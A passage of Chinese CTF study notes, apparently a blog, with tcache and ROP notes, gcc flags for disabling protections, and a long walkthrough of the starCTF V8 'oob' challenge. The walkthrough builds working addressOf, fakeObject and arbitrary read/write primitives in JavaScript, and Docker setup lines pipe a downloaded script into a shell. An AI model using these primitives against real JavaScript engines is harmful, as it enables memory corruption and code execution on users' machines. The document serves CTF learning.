(3)当在 unsorted bin 链上循环处理时,当找到大小合适的链时,并不直接返回,而是先放到 tcache 中,继续处理。

tcache 取出

在内存申请的开始部分,首先会判断申请大小块,在 tcache 是否存在,如果存在就直接从 tcache 中摘取,否则再使用_int_malloc 分配。

tcache posioning

通过覆盖 tcache 中的 next,不需要伪造任何 chunk 结构即可实现 malloc 到任何地址。

可以看出 tcache posioning 这种方法和 fastbin attack 类似,但因为没有 size 的限制有了更大的利用范围。

tcache dup

可以对同一个 chunk 多次 free

查看ubuntu版本

  1. cat /proc/version
  2. uname -a
  3. lsb_release -a

ropgadget

1
2
3
4
5
ROPgadget --binary rop -- ropchain		#静态寻找rop链

ROPgadget --binary ret2libc1 --string '/bin/sh' #寻找binsh字符串

ROPgadget --binary calc --only "pop|ret" | grep "ebx" #寻找指定寄存器

周六有个校赛,要出题目和搭建环境,记录下一些有用的东西

GCC编译中几种保护打开和关闭的参数:https://blog.csdn.net/lonyliu/article/details/90341012

  • NX:-z execstack / -z noexecstack (关闭 / 开启) 不让执行栈上的数据,于是JMP ESP就不能用了
  • Canary:-fno-stack-protector /-fstack-protector / -fstack-protector-all (关闭 / 开启 / 全开启) 栈里插入cookie信息
  • PIE:-no-pie / -pie (关闭 / 开启) 地址随机化,另外打开后会有get_pc_thunk
  • RELRO:-z norelro / -z lazy / -z now (关闭 / 部分开启 / 完全开启) 对GOT表具有写权限

gcc 文件名.c -o 文件 -z execstack -fno-stack-protector -no-pie -z norelro

如何安全快速地部署多道 ctf pwn 比赛题目:https://mp.weixin.qq.com/s?__biz=MjM5MTYxNjQxOA==&mid=2652848854&idx=1&sn=ff537cc73e76e1ab058bd36cb76749a0&chksm=bd593e1b8a2eb70d41627a1d04c1abec2c071f28c2649ddd9e313c4eda854ca4a26db20a1985&mpshare=1&scene=1&srcid=1011dGXhepYahcla33btEWte#rd

docker

安装

1
2
3
curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun
或者
curl -sSL https://get.daocloud.io/docker | sh

打包

1
sudo docker save <ImageID> > gzip xxx.tar.gz

查看镜像

1
sudo docker images

查看容器

1
sudo docker ps -a

删除容器

1
sudo docker rm <containerID>

删除镜像

1
sudo docker rmi <imageID>

暂停运行

1
sudo docker stop <containerID>

安装ssh服务

https://blog.csdn.net/weixin_30701521/article/details/101810109

1
2
3
4
apt-get update
apt-get install openssh-client
apt-get install openssh-server
/etc/init.d/ssh start

前言

学习浏览器,从v8入手,这道题有比较详细的资料,作为入门题非常有优势。

环境搭建

基础v8的环境搭建

使用的环境:ubuntu 18.04

v8环境搭建:https://warm-winter.github.io/2020/10/11/v8%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/

解题的搭建

一般浏览器的出题有两种

  • 一种是diff修改v8引擎源代码,人为制造出一个漏洞,
  • 另一种是直接采用某个cve漏洞。一般在大型比赛中会直接采用第二种方式,更考验选手的实战能力。

出题者通常会提供一个diff文件,或直接给出一个编译过diff补丁后的浏览器程序。如果只给了一个diff文件,就需要我们自己去下载相关的commit源码,然后本地打上diff补丁,编译出浏览器程序,再进行本地调试。

比如starctf中的oob题目给出了一个diff文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
[...]

以上截取了第一部分,对/path/v8/src/bootstrapper.cc做了修改。

下载v8然后利用下面的命令,将diff文件加入到v8中源代码分支中:

1
git apply /path/oob.diff

我们找到bootstrapper.cc文件,搜索SimpleInstallFunction(isolate_, proto, "fill",,发现下面已经将oob函数加入进去,patch成功。

image-20201015163516782

最后编译出增加了diff补丁的v8程序调试即可。

环境问题

正常来说,debug版本和release版本都能使用,但是调试这道题的时候,碰到了如下的问题:

release版本正常运行

image-20201015163847582

debug版本报错

image-20201015163941100

e3pem师傅的博客是这样解释的:

了解到是DCHECK宏的问题,然而对宏修改或是注释之后发现编译出来的d8执行还是会出现问题(这个时候已经开始怀疑人生了)。后来仔细的观察了一下师傅们写的文章,发现里面调试oob的时候都是用的release版本,之前也试过release版本的d8确实不会出现问题,所以很可能debug版本的d8就是不行,而别人文章里面出现的debug版本的d8的目的就是为了了解v8的数据是怎么存储的。所以这里正确的用法应该是用release版本进行调试,用debug版本来辅助分析。

v8的基础知识

v8编译后二进制名称叫d8而不是v8。

调试

1.allow-natives-syntax选项

功能:定义了一些v8运行时支持函数,主要有以下两个:

1
2
%DebugPrint(obj) 输出对象地址
%SystemBreak() 触发调试中断主要结合gdb等调试器使用

使用:

1
2
3
4
5
6
7
//方法一
winter@ubuntu:~/v8/v8/out.gn/x64.debug$ ./d8 --allow-natives-syntax

//方法二
winter@ubuntu:~/v8/v8/out.gn/x64.debug$ gdb ./d8
[...]
pwndbg> set args --allow-natives-syntax test.js

2.job命令

功能:可视化显示JavaScript对象的内存结构.

gdb下使用:job 对象地址

显示如下,具体v8的内存结构,稍后“v8对象结构”里进一步解释。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> job 0x4f9d210dd59
0x4f9d210dd59: [JSArray]
- map: 0x257bfd042d99 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x355e47bd1111 <JSArray[0]>
- elements: 0x04f9d210dce9 <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
- length: 3
- properties: 0x26cfa9fc0c71 <FixedArray[0]> {
#length: 0x1da9ebe001a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x04f9d210dce9 <FixedArray[3]> {
0: 1
1: 2
2: 3
}

3.telescope

功能:查看一下内存数据

使用:telescope 查看地址 (长度)

()表示里面的可以没有

v8知识点

指针标记

v8使用指针标记机制来区分指针双精度数Smis(代表)immediate small integer

1
2
3
Double: Shown as the 64-bit binary representation without any changes
Smi: Represented as value << 32, i.e 0xdeadbeef is represented as 0xdeadbeef00000000
Pointers: Represented as addr & 1. 0x2233ad9c2ed8 is represented as 0x2233ad9c2ed9

所以,v8中,如果一个值表示的是指针,那么会将该值的最低bit设置为1,但其实真实的值需要减去1。

job直接给对象地址就行,telescope的时候,需要给真实值,需要-1。

v8对象结构

在/path/v8/out.gn/x64.debug下创建一个test.js

1
2
3
var a = [1,2,3];
%DebugPrint(a);
%SystemBreak()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
winter@ubuntu:~/v8/v8/out.gn/x64.debug$ gdb ./d8 
[...]
Reading symbols from ./d8...done.
pwndbg> set args --allow-natives-syntax test.js
pwndbg> r
[...]
DebugPrint: 0x31c7fffcdd59: [JSArray]
[...]
pwndbg> job 0x31c7fffcdd59
0x31c7fffcdd59: [JSArray]
- map: 0x315768442d99 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x3f6dffcd1111 <JSArray[0]>
- elements: 0x31c7fffcdce9 <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
- length: 3
- properties: 0x176329f00c71 <FixedArray[0]> {
#length: 0x3ae23f8001a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x31c7fffcdce9 <FixedArray[3]> {
0: 1
1: 2
2: 3
}
pwndbg> job 0x31c7fffcdce9
0x31c7fffcdce9: [FixedArray]
- map: 0x176329f00851 <Map>
- length: 3
0: 1
1: 2
2: 3

所以,一个对象有如下属性:

  • map:定义了如何访问对象
  • prototype:对象的原型(如果有)
  • elements:对象的地址
  • length:长度
  • properties:属性,存有map和length

分析:

对象里存储的数据是在elements指向的内存区域的,而且是在对象的上面。也就是说,在内存申请上,v8先申请了一块内存存储元素内容,然后申请了一块内存存储这个数组的对象结构,对象中的elements指向了存储元素内容的内存地址。

image-20201016182850213

map属性详解

因为稍后需要用到,,所以放在这里讲一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> job 0x176329f00801
0x176329f00801: [Map]
- type: FIXED_ARRAY_TYPE
- instance size: variable
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- non-extensible
- back pointer: 0x176329f004d1 <undefined>
- prototype_validity cell: 0
- instance descriptors (own) #0: 0x176329f00259 <DescriptorArray[0]>
- layout descriptor: (nil)
- prototype: 0x176329f001d9 <null>
- constructor: 0x176329f001d9 <null>
- dependent code: 0x176329f002c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0

对象的map(数组是对象)是一种数据结构,其中包含以下信息:

  • 对象的动态类型,即String,Uint8Array,HeapNumber等。
  • 对象的大小(以字节为单位)
  • 对象的属性及其存储位置
  • 数组元素的类型,例如,unboxed的双精度数或带标记的指针
  • 对象的原型(如果有)

属性名称通常存储在Map中,而属性值则存储在对象本身中几个可能区域之一中。然后,map将提供属性值在相应区域中的确切位置。

本质上,映射定义了应如何访问对象。

重点

  • 对于对象数组:存储的是每个对象的地址

  • 对于浮点数组:以浮点数形式存储数值

所以,如果将对象数组的map换成浮点数组 => 就变成了浮点数组,会以浮点数的形式存储对象的地址;如果将对浮点组的map换成对象数组 => 就变成了对象数组,打印浮点数存储的地址。这实际上就是类型混淆的内容。

对象和对象数组

有时候想着想着有点乱,调试一下。

一个浮点数组、整数数组和一个对象数组。

1
2
3
4
5
6
7
8
9
10
11
var a = [1.1,2.2,3.3];
%DebugPrint(a);
%SystemBreak();

var b = [1,2,3];
%DebugPrint(b);
%SystemBreak();

var obj_array = [a,b];
%DebugPrint(obj_array);
%SystemBreak();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
winter@ubuntu:~/v8/v8/out.gn/x64.debug$ gdb ./d8 
[...]
pwndbg> set args --allow-natives-syntax test.js
pwndbg> r
[...]
//浮点数组
DebugPrint: 0x23ddebc4de71: [JSArray]
- map: 0x13e6d5782ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x1bb893151111 <JSArray[0]>
- elements: 0x23ddebc4de49 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x1574a0580c71 <FixedArray[0]> {
#length: 0x19fc51e401a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x23ddebc4de49 <FixedDoubleArray[3]> {
0: 1.1
1: 2.2
2: 3.3
}
[...]
pwndbg> c
Continuing.
//整型数组
DebugPrint: 0x23ddebc4de91: [JSArray]
- map: 0x13e6d5782d99 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x1bb893151111 <JSArray[0]>
- elements: 0x23ddebc4ddb9 <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
- length: 3
- properties: 0x1574a0580c71 <FixedArray[0]> {
#length: 0x19fc51e401a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x23ddebc4ddb9 <FixedArray[3]> {
0: 1
1: 2
2: 3
}
[...]
pwndbg> c
Continuing.
//对象数组
DebugPrint: 0x23ddebc4ded1: [JSArray]
- map: 0x13e6d5782f79 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x1bb893151111 <JSArray[0]>
- elements: 0x23ddebc4deb1 <FixedArray[2]> [PACKED_ELEMENTS]
- length: 2
- properties: 0x1574a0580c71 <FixedArray[0]> {
#length: 0x19fc51e401a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x23ddebc4deb1 <FixedArray[2]> {
0: 0x23ddebc4de71 <JSArray[3]>//存储的是浮点数组的地址
1: 0x23ddebc4de91 <JSArray[3]>//存储的是整型数组的地址
}

也就是说,对象数组里面,存储的是别的对象的地址,这里存储的是浮点数组和整型数组的地址

漏洞分析

分析给定文件中的oob.diff,左边行开头的地方,表示diff文件增加的内容

该diff文件实际就是增加了一个oob函数。主要分为三部分:定义、实现和关联。

定义

为数组添加名为oob的内置函数(就是别人调用的话),内部调用的函数名是kArrayOob(实现oob的函数)

1
2
3
src/bootstrapper.cc
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);

实现

  • 函数将首先检查参数的数量是否大于2(第一个参数始终是this参数)。如果是,则返回undefined。
  • 如果只有一个参数(this),它将数组转换成FixedDoubleArray,然后返回array[length](也就是以浮点数形式返回array[length])
  • 如果有两个参数(thisvalue),它以float形式将value写入array[length]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
src/builtins/builtins-array.cc
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}

重点

漏洞就出在这个函数里面

  • 如果给一个参数,返回了array[length]

  • 如果给两个参数,将给定的参数写入array[length]

很显然array[length]这里冒了,访问到了数组后面的内存区域。调试看一下后面这个内存存储什么信息。

使用debug版本

1
2
3
4
//test.js
var a = [1.1,2.2,3.3];
%DebugPrint(a);
%SystemBreak();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
winter@ubuntu:~/v8/v8/out.gn/x64.debug$ gdb ./d8 
[...]
pwndbg> set args --allow-natives-syntax test.js
pwndbg> r
[...]
DebugPrint: 0x71b3a0cde29: [JSArray]
- map: 0x288120f02ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x3086d0311111 <JSArray[0]>
- elements: 0x071b3a0cde01 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x109193c80c71 <FixedArray[0]> {
#length: 0x2f6f5d1801a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x071b3a0cde01 <FixedDoubleArray[3]> {
0: 1.1
1: 2.2
2: 3.3
}
0x288120f02ed9: [Map]
- type: JS_ARRAY_TYPE
- instance size: 32
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x288120f02e89 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x2f6f5d180609 <Cell value= 1>
- instance descriptors #1: 0x3086d0311f49 <DescriptorArray[1]>
- layout descriptor: (nil)
- transitions #1: 0x3086d0311eb9 <TransitionArray[4]>Transition array #1:
0x109193c84ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x288120f02f29 <Map(HOLEY_DOUBLE_ELEMENTS)>

- prototype: 0x3086d0311111 <JSArray[0]>
- constructor: 0x3086d0310ec1 <JSFunction Array (sfi = 0x2f6f5d18aca1)>
- dependent code: 0x109193c802c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
[...]
//查看elements的内存地址
pwndbg> telescope 0x071b3a0cde01-1
00:0000│ 0x71b3a0cde00 —▸ 0x109193c814f9 ◂— 0x109193c801
01:0008│ 0x71b3a0cde08 ◂— 0x300000000
02:0010│ 0x71b3a0cde10 ◂— 0x3ff199999999999a
03:0018│ 0x71b3a0cde18 ◂— 0x400199999999999a
04:0020│ 0x71b3a0cde20 ◂— 0x400a666666666666 ('ffffff\n@')
05:0028│ 0x71b3a0cde28 —▸ 0x288120f02ed9 ◂— 0x40000109193c801
06:0030│ 0x71b3a0cde30 —▸ 0x109193c80c71 ◂— 0x109193c808
07:0038│ 0x71b3a0cde38 —▸ 0x71b3a0cde01 ◂— 0x109193c814

//element+10开始的地方,存储的是数据
pwndbg> p {double } 0x71b3a0cde10
$1 = 1.1000000000000001
pwndbg> p {double } 0x71b3a0cde18
$2 = 2.2000000000000002
pwndbg> p {double } 0x71b3a0cde20
$3 = 3.2999999999999998

//查看冒出来地址里存储的数据,发现存储的是map
pwndbg> job 0x288120f02ed9
0x288120f02ed9: [Map]
- type: JS_ARRAY_TYPE
- instance size: 32
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x288120f02e89 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x2f6f5d180609 <Cell value= 1>
- instance descriptors #1: 0x3086d0311f49 <DescriptorArray[1]>
- layout descriptor: (nil)
- transitions #1: 0x3086d0311eb9 <TransitionArray[4]>Transition array #1:
0x109193c84ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x288120f02f29 <Map(HOLEY_DOUBLE_ELEMENTS)>

- prototype: 0x3086d0311111 <JSArray[0]>
- constructor: 0x3086d0310ec1 <JSFunction Array (sfi = 0x2f6f5d18aca1)>
- dependent code: 0x109193c802c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0

综上,我们得到的是读写map和修改map的功能

我们在release版本下实际调试

1
2
3
4
5
6
7
8
9
10
var a = [1.1,2.2,3.3];
%DebugPrint(a);
%SystemBreak();

var data = a.oob();
console.log("[*] oob return data:" + data.toString());
%SystemBreak();

a.oob(2);
%SystemBreak();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
winter@ubuntu:~/v8/v8/out.gn/x64.release$ gdb ./d8 
[...]
pwndbg> set args --allow-natives-syntax test.js
pwndbg> r
[...]
0x2c5f52b0de29 <JSArray[3]>
//打印对象内存地址
pwndbg> telescope 0x2c5f52b0de29-1
00:0000│ 0x2c5f52b0de28 —▸ 0x344502282ed9 ◂— 0x400003ee9994c01 <= 对象的map nmap
01:0008│ 0x2c5f52b0de30 —▸ 0x3ee9994c0c71 ◂— 0x3ee9994c08 <= prototype
02:0010│ 0x2c5f52b0de38 —▸ 0x2c5f52b0de01 ◂— 0x3ee9994c14 <= element
03:0018│ 0x2c5f52b0de40 ◂— 0x300000000 <= length
04:0020│ 0x2c5f52b0de48 ◂— 0x0

//打印element内存地址
pwndbg> telescope 0x2c5f52b0de01-1
00:0000│ 0x2c5f52b0de00 —▸ 0x3ee9994c14f9 ◂— 0x3ee9994c01
01:0008│ 0x2c5f52b0de08 ◂— 0x300000000 <= length
02:0010│ 0x2c5f52b0de10 ◂— 0x3ff199999999999a <= 第一个值
03:0018│ 0x2c5f52b0de18 ◂— 0x400199999999999a <= 第二个值
04:0020│ 0x2c5f52b0de20 ◂— 0x400a666666666666 ('ffffff\n@') <= 第二个值
05:0028│ 0x2c5f52b0de28 —▸ 0x344502282ed9 ◂— 0x400003ee9994c01 <=对象的map
06:0030│ 0x2c5f52b0de30 —▸ 0x3ee9994c0c71 ◂— 0x3ee9994c08
07:0038│ 0x2c5f52b0de38 —▸ 0x2c5f52b0de01 ◂— 0x3ee9994c14

pwndbg> p {double } 0x71b3a0cde10
$1 = 1.1000000000000001
pwndbg> p {double } 0x71b3a0cde18
$2 = 2.2000000000000002
pwndbg> p {double } 0x71b3a0cde20
$3 = 3.2999999999999998

pwndbg> c
Continuing.
[*] oob return data:2.8394443558087e-310//和泄漏出来的一样

pwndbg> p {double } 0x2c5f52b0de28
$2 = 2.8394443558087202e-310

pwndbg> c
Continuing.
pwndbg> telescope 0x2c5f52b0de01-1
00:0000│ 0x2c5f52b0de00 —▸ 0x3ee9994c14f9 ◂— 0x3ee9994c01
01:0008│ 0x2c5f52b0de08 ◂— 0x300000000
02:0010│ 0x2c5f52b0de10 ◂— 0x3ff199999999999a
03:0018│ 0x2c5f52b0de18 ◂— 0x400199999999999a
04:0020│ 0x2c5f52b0de20 ◂— 'ffffff\n@'
05:0028│ 0x2c5f52b0de28 ◂— 0x4000000000000000
06:0030│ 0x2c5f52b0de30 —▸ 0x3ee9994c0c71 ◂— 0x3ee9994c08
07:0038│ 0x2c5f52b0de38 —▸ 0x2c5f52b0de01 ◂— 0x3ee9994c14
pwndbg> p {double } 0x2c5f52b0de28
$3 = 2//被覆盖了

关联

为kArrayOob类型做了与实现函数的关联:

1
2
3
4
5
6
7
8
9
src/builtins/builtins-definitions.h
+ CPP(ArrayOob) \

/src/compiler/typer.cc
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();

漏洞利用

类型混淆

由于v8完全依赖Map类型对js对象进行解析。

所以,我们通过修改对象的map,将对象数组的map设置为浮点数组的map,就能让v8解析原来的对象数组的时候,解析成为浮点数组,反之同理。由于两种数组内部存储的不同,可以实现一些小功能。

  • 对象数组存储的是每个对象的地址,也就是对象数组存的是地址。

  • 浮点数组存储的是浮点型是的数值。

addressOf

泄露某个对象的内存地址,日后可以实现任意地址读的功能。

因为对象数组存储的是地址,但是如果v8解析是对象数组的话,肯定就不会输出这个地址,而是找到这个对象再操作。但是,如果,让v8误以为这是一个浮点数组,那么,v8就把把这个地址当作是浮点数,以浮点数的形式将对象数组里面存储的对象地址输出了。

所以,步骤如下:

1.拿到要泄漏的地址

2.把这个地址,覆盖已经创建好的对象数组第一个元素obj_array[0](让地址成为对象数组的一员)

3.将对象数组的map替换为浮点数组的map

4.输出数组的第一个元素,此时,就会按照浮点形式,将地址里的内容输出出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();//oob函数出来的就是map
var float_array_map = float_array.oob();

// 泄露某个object的地址
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(float_array_map);
let obj_addr = f2i(obj_array[0]) - 1n;//泄漏出来的地址-1才是真实地址
obj_array.oob(obj_array_map); // 还原array类型以便后续继续使用
return obj_addr;
}

fakeObject

将指定内存地址强制转换为一个js对象,日后可以实现任意地址写的功能。

现在,有了地址,地址是一个整数,整数可以直接变成以浮点数表示,但是不能变成对象,所以还是需要混淆。

步骤:

1.拿到地址,转换为浮点数表示。

2.放入浮点数组第一个位置中。

3.将浮点数组的map替换为对象数组的map

4.数组的第一个位置上,内存地址就已经变成一个js对象了。

1
2
3
4
5
6
7
8
function fakeObject(addr_to_fake)
{
float_array[0] = i2f(addr_to_fake + 1n);//地址需要+1才是v8中的正确表达方式
float_array.oob(obj_array_map);
let faked_obj = float_array[0];
float_array.oob(float_array_map); // 还原array类型以便后续继续使用
return faked_obj;
}

辅助的工具函数

浮点数转整数、整数转浮点数、字节串表示整数

实现方法:开辟一块空间,创建两个数组,分别是浮点数组float64和整数数组bigUint64,他们公用创造的那块空间。

这样,根据原来的形式放入对应的数组,用转换的数组输出即可。

例如:f2i(),要将浮点数转换为整数,只要将浮点数放入浮点数组,然后用整数数组输出,因为空间是一个,所以,输入输出的是同一个值,但由于数组的属性不同,会按数组的属性进行解释,进来的时候是浮点数,比如存入了0001H单元,然后输出的时候,还会读这个0001H单元,但是这个时候,用的是整数数组,所以会把它以整数的格式输出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
return i.toString(16).padStart(16, "0");
}

整合在一起调试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
// ××××××××1. 无符号64位整数和64位浮点数的转换代码××××××××
var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
// ××××××××2. addressOf和fakeObject的实现××××××××
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();//oob函数出来的就是map
var float_array_map = float_array.oob();

// 泄露某个object的地址
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(float_array_map);
let obj_addr = f2i(obj_array[0]) - 1n;//泄漏出来的地址-1才是真实地址
obj_array.oob(obj_array_map); // 还原array类型以便后续继续使用
return obj_addr;
}
function fakeObject(addr_to_fake)
{
float_array[0] = i2f(addr_to_fake + 1n);//地址需要+1才是v8中的正确表达方式
float_array.oob(obj_array_map);
let faked_obj = float_array[0];
float_array.oob(float_array_map); // 还原array类型以便后续继续使用
return faked_obj;
}
// ××××××××3. 测试××××××××
var test_obj = {};
%DebugPrint(test_obj);
var test_obj_addr = addressOf(test_obj);
console.log("[*] leak object addr: 0x" + hex(test_obj_addr));
%SystemBreak();
1
2
3
4
pwndbg> r
[...]
0x189f4fdcf201 <Object map = 0x2ded805c0459>
[*] leak object addr: 0x0000189f4fdcf200

成功泄漏对象的地址。同样,利用fakeObject可以将某个内存地址转换为一个object对象。

任意地址读写

我们首先构造一个假的数组对象,我们可以用fakeObject将其转换为一个object对象。因为自己构造的elements指针是可控的,而这个指针是指向存储数组元素内容的内存地址。所以,只要在elements上放入我们想要读写的地址,就可以用对象进行读写操作了。

步骤:

1.利用可控内存,伪造自己的对象结构。

2.将自己伪造的对象结构转换为真的对象。

image-20201016182937097

我们伪造的是一个对象在内存中的表示,只有这样,elements才是我们自己可以填的。通过addressOf找到是,伪造的对象数组在内存中的地址,也就是他的对象结构开头,真实存储的内容在泄漏的地址-伪造的长度(6×0x8),然后我们要让v8认为真实存储的内容是一个对象,所以对泄漏的地址-伪造的长度(6×0x8)做fakeObject,那么,我们构造的这个数组,就真的成为了一个对象在内存的表示。

3.任意地址读。给定的地址是要读的地址,elements在读写的数据-0x10。把这个伪造的elements给伪造的内存,然后利用上述第二步,变成一个对象(fake_object是用fake_array出来的),读取对象的元素,就是地址的内容了。

image-20201016185416667

4.任意地址写也是一样。把地址变成一个对象,那么要写入的地址就是我们对象的数据了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// read & write anywhere
// 这是一块我们可以控制的内存
var fake_array = [ //伪造一个对象
float_array_map,
i2f(0n),
i2f(0x41414141n),// fake obj's elements ptr
i2f(0x1000000000n),
1.1,
2.2,
];

// 获取到这块内存的地址
var fake_array_addr = addressOf(fake_array);
// 将可控内存转换为对象
var fake_object_addr = fake_array_addr - 0x30;
var fake_object = fakeObject(fake_object_addr);
// 任意地址读
function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let leak_data = f2i(fake_object[0]);
return leak_data;
}
// 任意地址写
function write64(addr, data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_object[0] = i2f(data);
}

整合测试一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
// ××××××××1. 无符号64位整数和64位浮点数的转换代码××××××××
var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
// ××××××××2. addressOf和fakeObject的实现××××××××
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();//oob函数出来的就是map
var float_array_map = float_array.oob();

// 泄露某个object的地址
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(float_array_map);
let obj_addr = f2i(obj_array[0]) - 1n;//泄漏出来的地址-1才是真实地址
obj_array.oob(obj_array_map); // 还原array类型以便后续继续使用
return obj_addr;
}
function fakeObject(addr_to_fake)
{
float_array[0] = i2f(addr_to_fake + 1n);//地址需要+1才是v8中的正确表达方式
float_array.oob(obj_array_map);
